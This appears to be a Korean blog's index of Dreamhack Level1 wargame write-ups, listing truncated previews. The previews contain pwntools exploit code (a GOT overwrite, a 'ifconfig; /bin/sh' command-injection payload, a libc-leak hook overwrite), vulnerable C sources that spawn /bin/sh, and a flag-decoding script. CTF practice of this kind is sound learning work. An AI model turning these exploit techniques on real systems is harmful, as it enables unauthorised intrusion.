rev-basic-4 (Nibble swap)
·
dreamhack/Level1
결론
ssp_000 (stack smash protection)
·
dreamhack/Level1
환경 분석 취약점 분석 공격 설계 익스플로잇 코드from pwn import *# 1. 초기 설정#p = process('./ssp_000')p = remote('host8.dreamhack.games',21071)# 2. 주소 정보 (16진수)addr_stack_chk_fail_got = 0x601020 # __stack_chk_fail의 GOT 위치value_get_shell = 0x4008ea # get_shell 함수의 위치# 3. Step 1: 카나리 파괴 (Trigger)# buf를 넘쳐서 카나리를 오염시킴p.sendline(b'A' * 100) # 4. Step 2: GOT Overwrite# scanf("%ld")이므로 10진수 문자열로 변환하여 입력p.sendli..
rev-basic-3
·
dreamhack/Level1
문제 풀이 흐름 최종 코드 # Reversing Basic Challenge #3 최종 정답 추출 스크립트data = [ 0x49, 0x60, 0x67, 0x74, 0x63, 0x67, 0x42, 0x66, 0x80, 0x78, 0x69, 0x69, 0x7b, 0x99, 0x6d, 0x88, 0x68, 0x94, 0x9f, 0x8d, 0x4d, 0xa5, 0x9d, 0x45]flag = ""for i in range(len(data)): # 분석을 통해 도출된 최종 역산 로직 res = (data[i] - (i * 2)) ^ i flag += chr(res)print(f"Flag: DH{{{flag}}}")
cmd_center
·
dreamhack/Level1
int main(){ char cmd_ip[256] = "ifconfig"; int dummy; char center_name[24]; init(); printf("Center name: "); read(0, center_name, 100); if( !strncmp(cmd_ip, "ifconfig", 8)) { system(cmd_ip); } else { printf("Something is wrong!\n"); } exit(0);} 환경분석 취약점 공격 설계 익스플로잇 코드from pwn import *# 32바이트(더미) + "ifconfig; /bin/sh"payload = b"A" * 32 + b"ifconfig; /bin/sh"# 프로그램 실행 후 페이로드 전송p = process(..
hook
·
dreamhack/Level1
환경 분석 취약점 분석 공격 설계 ROPgadget --binary hook | grep "ret"의 결과중 아무것도 안하고 넘어가는 ret 선택 익스플로잇 코드from pwn import *# 1. 연결 설정p = remote('host3.dreamhack.games', 18390)libc = ELF('./libc-2.23.so')elf = ELF('./hook')# 2. Libc Leak & 주소 계산 (pwntools symbols 활용)p.recvuntil(b"stdout: ")stdout_addr = int(p.recvline(), 16)# libc.symbols는 readelf/nm 역할을 자동으로 수행함libc_base = stdout_addr - libc.symbols['_IO_2_..
one shot +(ASLR-Address Space Layout Randomization, one-gadget)
·
dreamhack/Level1
// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie#include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1);}void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(60);}int main(int argc, char *argv[]) { char msg[16]; size_t check = 0; initialize(); printf("s..
basic_exploitation_003 (FSB-포맷스트링취약점, secondary stack overflow)
·
dreamhack/Level1
#include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1);}void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30);}void get_shell() { system("/bin/sh");}int main(int argc, char *argv[]) { char *heap_buf = (char *)malloc(0x80); char stack_buf[0x90] = {}; initialize()..
Return Address Overwrite + (scanf 취약점 , execve 인자 배열)
·
dreamhack/Level1
// Name: rao.c// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie#include #include void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0);}void get_shell() { char *cmd = "/bin/sh"; char *args[] = {cmd, NULL}; execve(cmd, args, NULL);}int main() { char buf[0x28]; init(); printf("Input: "); scanf("%s", buf); return 0;} exploit 코드 from pwn import *# 1. 프로세스 실행#p = process..
-->
loading